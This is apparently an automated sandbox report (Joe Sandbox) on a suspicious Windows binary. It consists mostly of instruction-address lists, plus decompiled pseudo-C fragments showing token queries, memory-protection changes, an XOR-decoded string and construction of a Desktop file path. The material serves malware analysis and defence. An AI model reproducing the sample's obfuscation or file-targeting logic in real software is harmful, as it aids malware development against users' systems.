0x004079ec
0x004079f2
0x004079f2
0x00407a1b
0x00407a25
0x00407a2f
0x00407a39
0x00407a3c
0x00407a43
0x00407a48
0x00407a50
0x00407a57
0x00407a5e
0x00407a67
0x00407a78
0x00407a7d
0x00407a87
0x00407a8c
0x00407a92
0x00407a95
0x00407ac6
0x00407ac6
0x00407aca
0x00407ad0
0x00407ada
0x00407ae4
0x00407aeb
0x00407aee
0x00407b1f
0x00407b1f
0x00407b23
0x00407b29
0x00407b33
0x00407b3d
0x00407b44
0x00407b47
0x00407b78
0x00407b78
0x00407b83
0x00407b8a
0x00407b8f
0x00407b92
0x00407b9c
0x00407b9f
0x00407ba4
0x00407ba8
0x00407bad
0x00407bb0
0x00407bb2
0x00407da8
0x00407dac
0x00407db2
0x00407db5
0x00407de6
0x00407de6
0x00407dea
0x00407df0
0x00407dfa
0x00407e04
0x00407e0b
0x00407e0e
0x00408cae
0x00408cb5
0x00408cba
0x00408cc0
0x00000000
0x00407e14
0x00407e14
0x00407e1a
0x00407e1b
0x00407e1d
0x00407e23
0x00407e39
0x00407e39
0x00407e3b
0x00000000
0x00407e25
0x00407e25
0x00407e28
0x00407e30
0x00407e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00407e33
0x00407e23
0x00407db7
0x00407db7
0x00407dbd
0x00407dbe
0x00407dc0
0x00407dc6
0x00407ddc
0x00407ddc
0x00407dde
0x00407de3
0x00000000
0x00407dc8
0x00407dc8
0x00407dcb
0x00407dd3
0x00407dd6
0x00000000
0x00000000
0x00000000
0x00000000
0x00407dd6
0x00407dc6
0x00407bb8
0x00407bb8
0x00407bc5
0x00407bd3
0x00407be0
0x00407be5
0x00407be8
0x00407bea
0x00407bee
0x00407bf3
0x00407bf8
0x00407bfb
0x00407c21
0x00407c35
0x00407bfd
0x00407c00
0x00407c03
0x00407c05
0x00407c08
0x00407c0a
0x00407c0a
0x00407c0c
0x00407c13
0x00407c13
0x00407c37
0x00407c3d
0x00407c44
0x00407c4b
0x00407c4e
0x00407c51
0x00407c56
0x00407c5b
0x00407c62
0x00407c69
0x00407c6c
0x00407c72
0x00407c75
0x00407ca6
0x00407ca6
0x00407cac
0x00407cb6
0x00407cc0
0x00407cc7
0x00407cca
0x00407cfb
0x00407cfb
0x00407d01
0x00407d0b
0x00407d15
0x00407d1c
0x00407d1f
0x00407d50
0x00407d50
0x00407d56
0x00407d60
0x00407d6a
0x00407d71
0x00407d74
0x00000000
0x00407d7a
0x00407d7a
0x00407d80
0x00407d81
0x00407d83
0x00407d89
0x00000000
0x00407d8f
0x00407d8f
0x00407d92
0x00407d9a
0x00407d9d
0x00000000
0x00407da3
0x00000000
0x00407da3
0x00407d9d
0x00407d89
0x00407d21
0x00407d21
0x00407d27
0x00407d28
0x00407d2a
0x00407d30
0x00407d46
0x00407d46
0x00407d48
0x00407d4d
0x00000000
0x00407d32
0x00407d32
0x00407d35
0x00407d3d
0x00407d40
0x00000000
0x00000000
0x00000000
0x00000000
0x00407d40
0x00407d30
0x00407ccc
0x00407ccc
0x00407cd2
0x00407cd3
0x00407cd5
0x00407cdb
0x00407cf1
0x00407cf1
0x00407cf3
0x00407cf8
0x00000000
0x00407cdd
0x00407cdd
0x00407ce0
0x00407ce8
0x00407ceb
0x00000000
0x00000000
0x00000000
0x00000000
0x00407ceb
0x00407cdb
0x00407c77
0x00407c77
0x00407c7d
0x00407c7e
0x00407c80
0x00407c86
0x00407c9c
0x00407c9c
0x00407c9e
0x00407ca3
0x00000000
0x00407c88
0x00407c88
0x00407c8b
0x00407c93
0x00407c96
0x00000000
0x00000000
0x00000000
0x00000000
0x00407c96
0x00407c86
0x00407c75
0x00407b49
0x00407b49
0x00407b4f
0x00407b50
0x00407b52
0x00407b58
0x00407b6e
0x00407b6e
0x00407b70
0x00407b75
0x00000000
0x00407b5a
0x00407b5a
0x00407b5d
0x00407b65
0x00407b68
0x00000000
0x00000000
0x00000000
0x00000000
0x00407b68
0x00407b58
0x00407af0
0x00407af0
0x00407af6
0x00407af7
0x00407af9
0x00407aff
0x00407b15
0x00407b15
0x00407b17
0x00407b1c
0x00000000
0x00407b01
0x00407b01
0x00407b04
0x00407b0c
0x00407b0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00407b0f
0x00407aff
0x00407a97
0x00407a97
0x00407a9d
0x00407a9e
0x00407aa0
0x00407aa6
0x00407abc
0x00407abc
0x00407abe
0x00407ac3
0x00000000
0x00407aa8
0x00407aa8
0x00407aab
0x00407ab3
0x00407ab6
0x00000000
0x00000000
0x00000000
0x00000000
0x00407ab6
0x00407aa6
0x004076d8
0x004076d8
0x004076e5
0x004076f3
0x00407700
0x00407705
0x00407708
0x0040770a
0x0040770e
0x00407713
0x00407718
0x0040771b
0x00407741
0x00407755
0x0040771d
0x00407720
0x00407723
0x00407725
0x00407728
0x0040772a
0x0040772a
0x0040772c
0x00407733
0x00407733
0x00407757
0x0040775d
0x00407764
0x0040776b
0x0040776e
0x00407771
0x00407776
0x0040777b
0x00407782
0x00407789
0x0040778c
0x00407792
0x00407795
0x004077c6
0x004077c6
0x004077cc
0x004077d6
0x004077e0
0x004077e7
0x004077ea
0x0040781b
0x0040781b
0x00407821
0x0040782b
0x00407835
0x0040783c
0x0040783f
0x00407870
0x00407870
0x00407876
0x00407880
0x0040788a
0x00407891
0x00407894
0x00000000
0x0040789a
0x0040789a
0x004078a0
0x004078a1
0x004078a3
0x004078a9
0x00000000
0x004078af
0x004078af
0x004078b2
0x004078ba
0x004078bd
0x00000000
0x004078c3
0x00000000
0x004078c3
0x004078bd
0x004078a9
0x00407841
0x00407841
0x00407847
0x00407848
0x0040784a
0x00407850
0x00407866
0x00407866
0x00407868
0x0040786d
0x00000000
0x00407852
0x00407852
0x00407855
0x0040785d
0x00407860
0x00000000
0x00000000
0x00000000
0x00000000
0x00407860
0x00407850
0x004077ec
0x004077ec
0x004077f2
0x004077f3
0x004077f5
0x004077fb
0x00407811
0x00407811
0x00407813
0x00407818
0x00000000
0x004077fd
0x004077fd
0x00407800
0x00407808
0x0040780b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040780b
0x004077fb
0x00407797
0x00407797
0x0040779d
0x0040779e
0x004077a0
0x004077a6
0x004077bc
0x004077bc
0x004077be
0x004077c3
0x00000000
0x004077a8
0x004077a8
0x004077ab
0x004077b3
0x004077b6
0x00000000
0x00000000
0x00000000
0x00000000
0x004077b6
0x004077a6
0x00407795
0x00407669
0x00407669
0x0040766f
0x00407670
0x00407672
0x00407678
0x0040768e
0x0040768e
0x00407690
0x00407695
0x00000000
0x0040767a
0x0040767a
0x0040767d
0x00407685
0x00407688
0x00000000
0x00000000
0x00000000
0x00000000
0x00407688
0x00407678
0x00407610
0x00407610
0x00407616
0x00407617
0x00407619
0x0040761f
0x00407635
0x00407635
0x00407637
0x0040763c
0x00000000
0x00407621
0x00407621
0x00407624
0x0040762c
0x0040762f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040762f
0x0040761f
0x004075b7
0x004075b7
0x004075bd
0x004075be
0x004075c0
0x004075c6
0x004075dc
0x004075dc
0x004075de
0x004075e3
0x00000000
0x004075c8
0x004075c8
0x004075cb
0x004075d3
0x004075d6
0x00000000
0x00000000
0x00000000
0x00000000
0x004075d6
0x004075c6
0x004071e8
0x004071e8
0x004071f5
0x00407203
0x00407210
0x00407215
0x00407218
0x0040721a
0x0040721e
0x00407223
0x00407228
0x0040722b
0x00407251
0x00407265
0x0040722d
0x00407230
0x00407233
0x00407235
0x00407238
0x0040723a
0x0040723a
0x0040723c
0x00407243
0x00407243
0x00407267
0x0040726d
0x00407274
0x0040727b
0x0040727e
0x00407281
0x00407286
0x0040728b
0x00407292
0x00407299
0x0040729c
0x004072a2
0x004072a5
0x004072d6
0x004072d6
0x004072dc
0x004072e6
0x004072f0
0x004072f7
0x004072fa
0x0040732b
0x0040732b
0x00407331
0x0040733b
0x00407345
0x0040734c
0x0040734f
0x00407380
0x00407380
0x00407386
0x00407390
0x0040739a
0x004073a1
0x004073a4
0x00000000
0x004073aa
0x004073aa
0x004073b0
0x004073b1
0x004073b3
0x004073b9
0x00000000
0x004073bf
0x004073bf
0x004073c2
0x004073ca
0x004073cd
0x00000000
0x004073d3
0x00000000
0x004073d3
0x004073cd
0x004073b9
0x00407351
0x00407351
0x00407357
0x00407358
0x0040735a
0x00407360
0x00407376
0x00407376
0x00407378
0x0040737d
0x00000000
0x00407362
0x00407362
0x00407365
0x0040736d
0x00407370
0x00000000
0x00000000
0x00000000
0x00000000
0x00407370
0x00407360
0x004072fc
0x004072fc
0x00407302
0x00407303
0x00407305
0x0040730b
0x00407321
0x00407321
0x00407323
0x00407328
0x00000000
0x0040730d
0x0040730d
0x00407310
0x00407318
0x0040731b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040731b
0x0040730b
0x004072a7
0x004072a7
0x004072ad
0x004072ae
0x004072b0
0x004072b6
0x004072cc
0x004072cc
0x004072ce
0x004072d3
0x00000000
0x004072b8
0x004072b8
0x004072bb
0x004072c3
0x004072c6
0x00000000
0x00000000
0x00000000
0x00000000
0x004072c6
0x004072b6
0x004072a5
0x00407179
0x00407179
0x0040717f
0x00407180
0x00407182
0x00407188
0x0040719e
0x0040719e
0x004071a0
0x004071a5
0x00000000
0x0040718a
0x0040718a
0x0040718d
0x00407195
0x00407198
0x00000000
0x00000000
0x00000000
0x00000000
0x00407198
0x00407188
0x00407120
0x00407120
0x00407126
0x00407127
0x00407129
0x0040712f
0x00407145
0x00407145
0x00407147
0x0040714c
0x00000000
0x00407131
0x00407131
0x00407134
0x0040713c
0x0040713f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040713f
0x0040712f
0x004070c7
0x004070c7
0x004070cd
0x004070ce
0x004070d0
0x004070d6
0x004070ec
0x004070ec
0x004070ee
0x004070f3
0x00000000
0x004070d8
0x004070d8
0x004070db
0x004070e3
0x004070e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004070e6
0x004070d6
0x00406cca
0x00406cca
0x00406cd7
0x00406ce5
0x00406cf2
0x00406cf7
0x00406cfa
0x00406cfc
0x00406d00
0x00406d05
0x00406d0d
0x00406d33
0x00406d47
0x00406d0f
0x00406d12
0x00406d15
0x00406d1a
0x00406d1c
0x00406d1c
0x00406d1e
0x00406d25
0x00406d25
0x00406d49
0x00406d4f
0x00406d56
0x00406d5d
0x00406d60
0x00406d63
0x00406d68
0x00406d6d
0x00406d74
0x00406d7b
0x00406d7e
0x00406d87
0x00406db8
0x00406db8
0x00406dbe
0x00406dc8
0x00406dd2
0x00406ddc
0x00406e0d
0x00406e0d
0x00406e13
0x00406e1d
0x00406e27
0x00406e31
0x00406e62
0x00406e62
0x00406e68
0x00406e72
0x00406e7c
0x00406e86
0x00406eb7
0x00406eb7
0x00406ec1
0x00406ecb
0x00406ed2
0x00406ed2
0x00406edb
0x00408cc5
0x00408cca
0x00408cd2
0x00408cd3
0x00408ce4
0x00406ee1
0x00406ee1
0x00406ee7
0x00406ee8
0x00406ef0
0x00408869
0x00408869
0x0040886b
0x00000000
0x00406ef6
0x00406ef6
0x00406ef9
0x00406f04
0x00000000
0x00406f0a
0x00000000
0x00406f0a
0x00406f04
0x00406ef0
0x00406e88
0x00406e88
0x00406e8e
0x00406e8f
0x00406e97
0x00406ead
0x00406ead
0x00406eaf
0x00406eb4
0x00000000
0x00406e99
0x00406e99
0x00406e9c
0x00406ea7
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ea7
0x00406e97
0x00406e33
0x00406e33
0x00406e39
0x00406e3a
0x00406e42
0x00406e58
0x00406e58
0x00406e5a
0x00406e5f
0x00000000
0x00406e44
0x00406e44
0x00406e47
0x00406e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e52
0x00406e42
0x00406dde
0x00406dde
0x00406de4
0x00406de5
0x00406ded
0x00406e03
0x00406e03
0x00406e05
0x00406e0a
0x00000000
0x00406def
0x00406def
0x00406df2
0x00406dfd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406dfd
0x00406ded
0x00406d89
0x00406d89
0x00406d8f
0x00406d90
0x00406d98
0x00406dae
0x00406dae
0x00406db0
0x00406db5
0x00000000
0x00406d9a
0x00406d9a
0x00406d9d
0x00406da8
0x00000000
0x00000000
0x00000000
0x00000000
0x00406da8
0x00406d98
0x00406d87
0x00406c5b
0x00406c5b
0x00406c61
0x00406c62
0x00406c6a
0x00406c80
0x00406c80
0x00406c82
0x00406c87
0x00000000
0x00406c6c
0x00406c6c
0x00406c6f
0x00406c7a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c7a
0x00406c6a
0x00406c02
0x00406c02
0x00406c08
0x00406c09
0x00406c11
0x00406c27
0x00406c27
0x00406c29
0x00406c2e
0x00000000
0x00406c13
0x00406c13
0x00406c16
0x00406c21
0x00408ce5
0x00408ce5
0x00408cea
0x00408cea
0x00408cef
0x00408cef
0x00408cf4
0x00408cf5
0x00408cf6
0x00408cf7
0x00408cf8
0x00408cf9
0x00408cfa
0x00408cfb
0x00408cfc
0x00408cfd
0x00408cfe
0x00408cff
0x00408d00
0x00408d01
0x00408d03
0x00408d05
0x00408d10
0x00408d11
0x00408d17
0x00408d1c
0x00408d1e
0x00408d21
0x00408d22
0x00408d23
0x00408d24
0x00408d28
0x00408d2e
0x00408d35
0x00408d3a
0x00408d40
0x00408d42
0x00408d44
0x00408d50
0x00408d50
0x00408d55
0x00408d58
0x00408d5f
0x00408d66
0x00408d66
0x00408d50
0x00408d73
0x00408d78
0x00408d8f
0x00408d96
0x00408dad
0x00408db4
0x00408db8
0x00408dcb
0x00408dd6
0x00408de0
0x00408deb
0x00408df8
0x00408e03
0x00408e0d
0x00408e18
0x00408e22
0x00408e31
0x00408e38
0x00408e3d
0x00408e46
0x00408e51
0x00408e5c
0x00408e67
0x00408e72
0x00408e7d
0x00408e88
0x00408e8c
0x00408e91
0x00408e91
0x00408e93
0x00408ea0
0x00408ea3
0x00408ea4
0x00408eaa
0x00408eb0
0x00408eb5
0x00408eb7
0x00000000
0x00000000
0x00408ec8
0x00408ecd
0x00408ed5
0x00408eda
0x00408edc
0x00408ede
0x00408ee6
0x00408eeb
0x00408eed
0x00408eef
0x00408ef2
0x00000000
0x00408ef2
0x00408eed
0x00408f2e
0x00408f36
0x00408f3b
0x00408f3e
0x00408f48
0x00408f4d
0x00408f51
0x00408f64
0x00408f6a
0x00408f6f
0x00408f79
0x00408f7e
0x00408f83
0x00408f93
0x00408f9e
0x00408fa0
0x00408fab
0x00408faf
0x00408fb4
0x00408fb6
0x00000000
0x00000000
0x00408fc7
0x00408fcf
0x00408fd4
0x00408fd7
0x00000000
0x00000000
0x00408fd9
0x00408fdc
0x00000000
0x00000000
0x00408fea
0x00408ff3
0x00408ff3
0x00408ff5
0x00408ffa
0x00409000
0x00409001
0x0040901a
0x00409020
0x00409025
0x0040902f
0x00409034
0x00409039
0x00409049
0x00409056
0x00409061
0x00409065
0x0040906a
0x0040906c
0x00000000
0x00409072
0x0040907d
0x0040907f
0x00409082
0x00000000
0x00409088
0x00409096
0x004090a2
0x004090ac
0x004090c5
0x004090c6
0x004090cb
0x004090ce
0x004090da
0x004090ea
0x004090f8
0x00409102
0x00409107
0x0040910a
0x00409110
0x00409117
0x0040912d
0x00409133
0x00409135
0x0040913c
0x0040913c
0x00409140
0x0040915c
0x0040915e
0x00409161
0x00409167
0x0040916c
0x0040916e
0x00409170
0x00409175
0x00409175
0x00409178
0x0040917b
0x0040917d
0x00409183
0x00409183
0x00409186
0x00409189
0x00409194
0x00409197
0x00000000
0x00000000
0x00000000
0x00000000
0x0040918b
0x0040918b
0x0040918e
0x00409190
0x00409190
0x00409199
0x00409199
0x0040919b
0x00000000
0x0040919d
0x0040919d
0x004091a0
0x004091c4
0x00000000
0x00000000
0x00000000
0x004091a0
0x0040919b
0x00000000
0x004091a2
0x004091a2
0x004091ad
0x004091b0
0x004091b1
0x004091b7
0x004091b9
0x004091b9
0x00000000
0x00000000
0x00000000
0x00409117
0x00409082
0x004091c6
0x004091c6
0x004091cb
0x004091cc
0x004091cd
0x004091ce
0x004091cf
0x004091d0
0x004091d1
0x004091d6
0x004091dd
0x004091e6
0x004091ed
0x004091f4
0x004091fa
0x004091fc
0x00409201
0x00409207
0x0040920e
0x00409216
0x0040921d
0x0040921f
0x0040922a
0x00409236
0x0040923b
0x00409243
0x00409249
0x00409253
0x00409258
0x0040921d
0x00409263
0x0040926d
0x00000000
0x00409119
0x00409119
0x0040911f
0x0040911f
0x00000000
0x00408fde
0x00408fe3
0x00408fe3
0x00408ef7
0x00408ef7
0x00408efd
0x00408f1a
0x00408f24
0x00408eff
0x00408eff
0x00408f04
0x00408f14
0x00408f14
0x00408efd
0x00000000
0x00000000
0x00000000
0x00406c21
0x00406c11
0x00406c00
0x00000000

APIs

Part of subcall function 004065E0: GetCurrentProcess.KERNEL32(00000008,?), ref: 00406603
Part of subcall function 004065E0: OpenProcessToken.ADVAPI32(00000000), ref: 0040660A
Part of subcall function 004065E0: GetTokenInformation.KERNELBASE(?,?,?,0000004C,?), ref: 00406623
Part of subcall function 004065E0: CloseHandle.KERNEL32(?), ref: 00406630

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,298E9DC2,?,00000000), ref: 00406B37
__Init_thread_footer.LIBCMT ref: 00407ED3

Strings

.exe, xrefs: 004068BF, 00406D2E, 0040724C, 0040773C, 00407C1C, 004081AD, 004086BC, 00408BCC
KC^., xrefs: 00408887
OCjO, xrefs: 0040836F
\AI\, xrefs: 00408365

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ProcessToken$CloseCurrentFolderHandleInformationInit_thread_footerOpenPath
String ID: .exe$KC^.$OCjO$\AI\
API String ID: 3622068345-289448123
Opcode ID: 573cf72f89ff939cd34783fc97c4e04faa8ce1a40c8cb47262be6b3a3e9afc35
Instruction ID: 0ba5cc549249c3f38757da98882073f7fe0bf54fff609753a258d5d1516a3b56
Opcode Fuzzy Hash: 573cf72f89ff939cd34783fc97c4e04faa8ce1a40c8cb47262be6b3a3e9afc35
Instruction Fuzzy Hash: C4C226709002589BEB25DB24CE447DDBB71AF56308F1082EED4487B2D2DB799BC8CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00402C00 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E00402C00(void* __ebx, intOrPtr* __ecx, void** __edx) {
				signed int _v8;
				long _v12;
				char _v16;
				void* __edi;
				void* __esi;
				signed int _t31;
				long _t45;
				void* _t49;
				signed int _t60;
				signed int _t63;
				intOrPtr* _t64;
				signed int _t71;
				char _t72;
				void* _t77;
				long _t79;
				void* _t80;
				signed int _t81;
				void* _t82;
				signed int _t84;

				_t76 = __edx;
				_t64 = __ecx;
				_t62 = __ebx;
				_t31 =  *0x43d054; // 0x298e9dc2
				_v8 = _t31 ^ _t84;
				_t79 = __edx[2];
				if(_t79 == 0) {
					L8:
					_t16 =  &_v8; // 0x403426
					return E0040EB3F(1, _t62,  *_t16 ^ _t84, _t76, _t79, _t80);
				} else {
					_t81 = __edx[3];
					if((_t81 & 0x02000000) == 0) {
						_t71 =  *(0x439848 + ((_t81 >> 0x1f) + ((_t81 >> 0x0000001e & 0x00000001) + (_t81 >> 0x0000001d & 0x00000001) * 2) * 2) * 4);
						_t80 = _t81 & 0x04000000;
						_t44 =  ==  ? _t71 : _t71 | 0x00000200;
						_t45 = VirtualProtect( *__edx, _t79,  ==  ? _t71 : _t71 | 0x00000200,  &_v12); // executed
						if(_t45 != 0) {
							goto L8;
						} else {
							FormatMessageA(0x1300, 0, GetLastError(), 0x400,  &_v16, _t45, _t45);
							_t72 = _v16;
							_t77 = _t72 + 1;
							do {
								_t49 =  *_t72;
								_t72 = _t72 + 1;
							} while (_t49 != 0);
							_t82 = LocalAlloc(0x40, _t72 - _t77 + 0x1f);
							E00402B30(_t82, "%s: %s", "Error protecting memory page");
							OutputDebugStringA(_t82);
							LocalFree(_t82);
							LocalFree(_v16);
							_t30 =  &_v8; // 0x403426
							return E0040EB3F(0, __ebx,  *_t30 ^ _t84, _t77, _t79, LocalFree, _v16);
						}
					} else {
						_t80 =  *__edx;
						if(_t80 == __edx[1]) {
							_push(__ebx);
							if(__edx[4] != 0) {
								L6:
								 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x20))))(_t80, _t79, 0x4000,  *((intOrPtr*)(_t64 + 0x34))); // executed
							} else {
								_t63 =  *(__ecx + 0x3c);
								if( *((intOrPtr*)( *__ecx + 0x38)) == _t63) {
									goto L6;
								} else {
									_t60 = _t79;
									_t76 = _t60 % _t63;
									if(_t60 % _t63 == 0) {
										goto L6;
									}
								}
							}
							_pop(_t62);
						}
						goto L8;
					}
				}
			}

0x00402c00
0x00402c00
0x00402c00
0x00402c06
0x00402c0d
0x00402c12
0x00402c17
0x00402c5a
0x00402c60
0x00402c6d
0x00402c19
0x00402c19
0x00402c22
0x00402c89
0x00402c9b
0x00402ca1
0x00402ca8
0x00402cb0
0x00000000
0x00402cb2
0x00402ccb
0x00402cd1
0x00402cd4
0x00402cd7
0x00402cd7
0x00402cd9
0x00402cda
0x00402cef
0x00402cfc
0x00402d05
0x00402d12
0x00402d17
0x00402d19
0x00402d2a
0x00402d2a
0x00402c24
0x00402c24
0x00402c29
0x00402c2f
0x00402c30
0x00402c46
0x00402c53
0x00402c32
0x00402c34
0x00402c3a
0x00000000
0x00402c3c
0x00402c3e
0x00402c40
0x00402c44
0x00000000
0x00000000
0x00402c44
0x00402c3a
0x00402c58
0x00402c58
0x00000000
0x00402c29
0x00402c22

APIs

VirtualProtect.KERNEL32(?,?,?,?,00000000,?,?,?,00403426), ref: 00402CA8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,00403426), ref: 00402CBD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,00403426), ref: 00402CCB
LocalAlloc.KERNEL32(00000040,?,?,?,00403426), ref: 00402CE6
OutputDebugStringA.KERNEL32(00000000,?,?,?,?,?,?,00403426), ref: 00402D05
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00403426), ref: 00402D12
LocalFree.KERNEL32(?,?,?,?,?,?,?,00403426), ref: 00402D17

Strings

%s: %s, xrefs: 00402CF6
Error protecting memory page, xrefs: 00402CF1
&4@, xrefs: 00402C60, 00402D19

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$&4@$Error protecting memory page
API String ID: 839691724-739521694
Opcode ID: c2079616923152017866c99c88d1a440d5c2c87e5d9d2a5438ffe23e48aa1e51
Instruction ID: 0bf89dc65ae551d437951f66d19f4431ae4be372f2ffc18bb80577c5e10a3953
Opcode Fuzzy Hash: c2079616923152017866c99c88d1a440d5c2c87e5d9d2a5438ffe23e48aa1e51
Instruction Fuzzy Hash: 10312331B00114AFEB14AF69DC45FAEB769EF45700F4401AAE901AB2D1CAB5AD02CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404840 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 335
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00404840(void* __ebx, void* __ecx) {
				intOrPtr _v8;
				int _v16;
				char _v24;
				int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				long _v56;
				int _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				long _v76;
				char _v77;
				char _v78;
				char _v84;
				long _v88;
				int _v92;
				char _v93;
				signed int _v100;
				intOrPtr _v104;
				int _v108;
				long _v112;
				int _v116;
				int _v128;
				int _v132;
				int _v136;
				char _v144;
				signed int _v152;
				char _v296;
				char _v300;
				char _v304;
				char _v552;
				intOrPtr _v1580;
				int _v1588;
				int _v1592;
				long _v1596;
				int _v1600;
				int _v1616;
				struct HKL__* _v1684;
				signed int _v1688;
				int _v1692;
				int _v1728;
				intOrPtr _v1748;
				char _v1756;
				signed int _v1760;
				intOrPtr _v1772;
				intOrPtr _v1776;
				signed int _v1780;
				intOrPtr _v1816;
				intOrPtr _v1820;
				signed int _v1872;
				char _v2122;
				short _v2124;
				int* _v2140;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t208;
				signed int _t209;
				intOrPtr _t212;
				intOrPtr _t213;
				intOrPtr* _t217;
				intOrPtr _t218;
				intOrPtr _t223;
				signed char _t224;
				signed char _t225;
				void* _t227;
				intOrPtr _t228;
				signed char _t229;
				intOrPtr _t230;
				void* _t232;
				intOrPtr _t233;
				intOrPtr _t234;
				void* _t236;
				int _t239;
				signed int _t245;
				signed int _t246;
				signed int _t249;
				int _t252;
				intOrPtr* _t254;
				int _t258;
				int _t260;
				signed int _t266;
				signed int _t267;
				intOrPtr _t269;
				intOrPtr _t278;
				signed int _t284;
				short _t286;
				signed int _t291;
				signed int _t297;
				intOrPtr _t302;
				signed char _t303;
				signed char* _t304;
				void* _t309;
				long _t310;
				intOrPtr _t311;
				int _t312;
				intOrPtr _t316;
				intOrPtr _t317;
				int _t318;
				int _t322;
				void* _t326;
				signed int _t327;
				void* _t333;
				int _t350;
				signed int _t355;
				void* _t361;
				int* _t363;
				signed int _t365;
				int _t366;
				void* _t367;
				void* _t369;
				intOrPtr* _t370;
				intOrPtr* _t373;
				signed char* _t377;
				intOrPtr* _t381;
				intOrPtr* _t385;
				int _t393;
				signed int _t399;
				int _t401;
				int _t404;
				signed int* _t405;
				signed int _t415;
				intOrPtr* _t416;
				signed int _t422;
				int _t426;
				void* _t427;
				long _t429;
				int* _t431;
				int* _t432;
				int* _t433;
				long _t434;
				void* _t435;
				void* _t439;
				signed char* _t440;
				void* _t441;
				int _t443;
				void* _t444;
				signed int _t445;
				void* _t446;
				signed int _t447;
				void* _t448;
				int* _t449;
				void* _t450;
				void* _t451;
				int _t452;
				signed char* _t453;
				void* _t454;
				void* _t455;
				void* _t456;
				int _t457;
				void* _t458;
				void* _t459;
				signed int _t460;
				void* _t462;
				void* _t463;
				int _t464;
				void* _t467;
				signed int _t470;
				signed int _t473;
				signed int _t475;
				signed int _t477;
				void* _t479;
				signed int _t482;
				void* _t483;
				int* _t484;
				int* _t485;
				int* _t486;
				int* _t487;
				int* _t488;
				int* _t489;
				signed int _t495;
				signed int _t496;
				void* _t499;
				signed int _t501;

				_t369 = __ecx;
				_push(__ebx);
				_t361 = _t479;
				_t482 = (_t479 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t361 + 4));
				_t470 = _t482;
				_push(0xffffffff);
				_push(0x42c495);
				_push( *[fs:0x0]);
				_push(_t361);
				_t483 = _t482 - 0x50;
				_t208 =  *0x43d054; // 0x298e9dc2
				_t209 = _t208 ^ _t470;
				_v32 = _t209;
				_push(_t451);
				_push(_t209);
				 *[fs:0x0] =  &_v24;
				_v48 = 0x7c6b7d7b;
				_v44 = 0x68617c7e;
				_v40 = 0x2e6b6267;
				_t443 =  *( *[fs:0x2c]);
				_t212 =  *0x450ecc; // 0x8000000b
				if(_t212 >  *((intOrPtr*)(_t443 + 4))) {
					E0040EEC8(_t212, 0x450ecc);
					_t483 = _t483 + 4;
					_t512 =  *0x450ecc - 0xffffffff;
					if( *0x450ecc == 0xffffffff) {
						asm("movq xmm0, [ebp-0x24]");
						asm("movq [0x450e50], xmm0");
						 *0x450e58 = _v40;
						E0040F1DA(_t369, _t512, 0x42ce40);
						E0040EE7E(0x450ecc);
						_t483 = _t483 + 8;
					}
				}
				if( *0x450e5b != 0) {
					_t355 = 0;
					do {
						 *(_t355 + 0x450e50) =  *(_t355 + 0x450e50) ^ 0x0000002e;
						_t355 = _t355 + 1;
					} while (_t355 < 0xc);
				}
				_t370 = 0x450e50;
				_v108 = 0;
				_v92 = 0;
				_v88 = 0xf;
				_v108 = 0;
				_t16 = _t370 + 1; // 0x450e51
				_t427 = _t16;
				do {
					_t213 =  *_t370;
					_t370 = _t370 + 1;
				} while (_t213 != 0);
				E004026C0(_t361,  &_v108, 0x450e50, _t370 - _t427);
				_v16 = 0;
				_t216 =  >=  ? _v108 :  &_v108;
				_t217 = E00418AE5(_t361, _t443, _t451,  >=  ? _v108 :  &_v108,  >=  ? _v108 :  &_v108);
				_t428 = _t217;
				_v76 = 0;
				_t373 = _t217;
				_v60 = 0;
				_t484 = _t483 + 4;
				_v56 = 0xf;
				_v76 = 0;
				_t452 = _t373 + 1;
				do {
					_t218 =  *_t373;
					_t373 = _t373 + 1;
				} while (_t218 != 0);
				E004026C0(_t361,  &_v76, _t428, _t373 - _t452);
				_v16 = 2;
				_t429 = _v88;
				if(_t429 < 0x10) {
					L14:
					_t376 = _v60;
					_v92 = 0;
					_v88 = 0xf;
					_v108 = 0;
					_push(8);
					_push("\\Desktop");
					if(_v56 - _t376 < 8) {
						_v84 = 0;
						_t376 =  &_v76;
						_push(_v84);
						_push(8);
						E00402990(_t361,  &_v76, _t443, _t452);
					} else {
